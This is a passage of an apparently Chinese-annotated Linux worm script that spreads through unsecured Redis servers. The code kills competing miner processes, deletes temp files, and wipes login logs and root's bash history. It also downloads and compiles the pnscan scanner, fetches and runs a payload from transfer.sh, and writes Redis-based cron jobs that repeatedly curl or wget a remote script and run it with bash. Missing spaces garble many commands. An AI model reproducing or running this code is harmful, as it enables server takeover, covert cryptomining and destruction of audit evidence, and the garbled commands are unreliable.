*        soft    nproc       100000

root     hard    nproc       100000

root     soft    nproc       100000

EOF

#防火墙修改redis只让本机访问

iptables -I INPUT 1 -p tcp --dport 6379-j DROP

iptables -I INPUT 1 -p tcp --dport 6379-s 127.0.0.1 -j ACCEPT

#杀掉包含下列字符串的进程，好疯狂。

ps xf | grep -v grep | grep "redis-server\|nicehash\|linuxs\|linuxl\|crawler.weibo\|243/44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init"|    while read pid _; do kill -9 "$pid"; done

#又删除/tmp和/var/tmp下的文件

rm -rf /tmp/* 2>/dev/null

rm -rf /var/tmp/* 2>/dev/null

#清除登录日志、历史记录

echo 0 > /var/spool/mail/root

echo 0 > /var/log/wtmp

echo 0 > /var/log/secure

echo 0 > /root/.bash_history

#下载安装相应的库和软件包

YUM_PACKAGE_NAME="iptables gccredis coreutils bash curl wget"

DEB_PACKAGE_NAME="coreutils bashbuild-essential make gcc redis-server redis-tools redis iptables curl"

#如果是CentOS系统，用yum下载安装

if cat /etc/*release | grep -i CentOS;then

yum clean all

yum install -y -q epel-release

yum install -y -q $YUM_PACKAGE_NAME

#如果是Redhat系统，用yum下载安装

elif cat /etc/*release | grep -qi Red;then

yum clean all

yum install -y -q epel-release

yum install -y -q $YUM_PACKAGE_NAME

#如果是Fedora系统，用yum下载安装

elif cat /etc/*release | grep -qiFedora; then

yum clean all

yum install -y -q epel-release

yum install -y -q $YUM_PACKAGE_NAME

#如果是Ubuntu系统，用apt下载安装

elif cat /etc/*release | grep -qiUbuntu; then

export DEBIAN_FRONTEND=noninteractive

rm -rf /var/lib/apt/lists/*

apt-get update -q --fix-missing

for PACKAGE in $DEB_PACKAGE_NAME;doapt-get install -y -q $PACKAGE; done

#如果是Debian系统，用apt下载安装

elif cat /etc/*release | grep -qiDebian; then

export DEBIAN_FRONTEND=noninteractive

rm -rf /var/lib/apt/lists/*

apt-get update --fix-missing

for PACKAGE in $DEB_PACKAGE_NAME;doapt-get install -y -q $PACKAGE; done

#如果是Mint系统，用apt下载安装(Linux Mint由Linux MintTeam团队于2006年开始发行，是一份基于Debian和Ubuntu的Linux发行版)

elif cat /etc/*release | grep -qi Mint;then

export DEBIAN_FRONTEND=noninteractive

rm -rf /var/lib/apt/lists/*

apt-get update --fix-missing

for PACKAGE in $DEB_PACKAGE_NAME;doapt-get install -y -q $PACKAGE; done

#如果是Knoppix系统，用apt下载安装(KNOPPIX是一个linux发行版，基于debian,功能包括：自动硬件监测、支持常见的显卡、声卡、SCSI和USB设备，以及其它外设)

elif cat /etc/*release | grep -qiKnoppix; then

export DEBIAN_FRONTEND=noninteractive

rm -rf /var/lib/apt/lists/*

apt-get update --fix-missing

for PACKAGE in $DEB_PACKAGE_NAME;doapt-get install -y -q $PACKAGE; done

else

exit 1

fi

sleep 1

#如果本地不存在pnscan，则去下载

if ! ( [ -x /usr/local/bin/pnscan ] || [-x /usr/bin/pnscan ] ); then

curl -kLshttps://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q-O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12

sleep 1

#解压、编译、安装pnscan

[ -f .x112 ] && tar xf .x112&& cd pnscan-1.12 && make lnx && make install&& cd .. && rm -rf pnscan-1.12 .x112

fi

tname=$( mktemp )

#从transfer.sh下载tmp.Woq2ONMx8z文件

OMURL=https://transfer.sh/lBphf/tmp.Woq2ONMx8z

curl -s $OMURL > $tname || wget -q -O$tname $OMURL

NMURL=$( curl -s --upload-file $tnamehttps://transfer.sh )

#文件改名、增加执行属性、运行后删除(进程为.gpg)

mv $tname .gpg && chmod +x .gpg&& ./.gpg && rm -rf .gpg

[ -z "$NMURL" ] &&NMURL=$OMURL

ncmd=$(basename $(mktemp))

sed 's|'"$OMURL"'|'"$NMURL"'|g' $ncmd

NSURL=$( curl -s --upload-file $ncmdhttps://transfer.sh )

#对redis进行操作，添加定时任务

echo 'flushall' > .dat

echo 'config set dir /var/spool/cron'>> .dat

echo 'config set dbfilename root'>> .dat

echo 'set Backup1 "\t\n*/2 * * * * curl-s '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat

echo 'set Backup2 "\t\n*/5 * * * *wget -O .cmd '${NSURL}' && bash .cmd\n\t"' >> .dat

echo 'set Backup3 "\t\n*/10 * * * *lynx -source '${NSURL}' > .cmd && bash .cmd\n\t"' >> .dat

echo 'save' >> .dat

echo 'config set dir/var/spool/cron/crontabs' >> .dat